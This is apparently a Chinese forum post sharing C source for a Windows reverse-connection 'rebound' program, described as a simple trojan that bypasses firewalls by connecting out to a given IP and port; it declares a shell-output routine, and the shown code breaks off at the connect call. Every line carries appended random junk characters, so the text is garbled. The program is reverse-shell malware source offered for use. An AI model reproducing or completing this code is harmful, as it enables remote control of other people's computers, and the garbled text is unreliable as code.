这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 JY%c<
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/* ============================== rY($+O@a<
Rebound port in Windows NT 2&5"m;<
By wind,2006/7 {mueP6Gz@J
===============================*/ (obeEH5J
#include N5oao'7|A
#include P_i2yhpK
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#pragma comment(lib,"wsock32.lib") cty.)e=
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void OutputShell(); WXXLD:gxI
SOCKET sClient; M[Ls:\1a
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ],' n!:>
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void main(int argc,char **argv) oIbd+6>f
{ PVV \@
WSADATA stWsaData; i' N
int nRet; z!t&zkAK
SOCKADDR_IN stSaiClient,stSaiServer; ##yi^;3Y
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if(argc != 3) |4wVWJ7
{ e9N 1xB
printf("Useage:\n\rRebound DestIP DestPort\n"); O7q-MeMM
return; tS`fG;
} xB
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WSAStartup(MAKEWORD(2,2),&stWsaData);
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ks'25tv}F
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stSaiClient.sin_family = AF_INET; "K~+T\^|k
stSaiClient.sin_port = htons(0); iVnrv`k,
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ZYkeW
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0UlaB
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{ 4JP01lq'\
printf("Bind Socket Failed!\n"); D<Ads
return; ^9"|tWf6O
} o-7>^wV%BD
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stSaiServer.sin_family = AF_INET; J;'?(xO3\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8M:;9a8fh
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %VSST?aUvX
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) g4%x7#vz0
{ &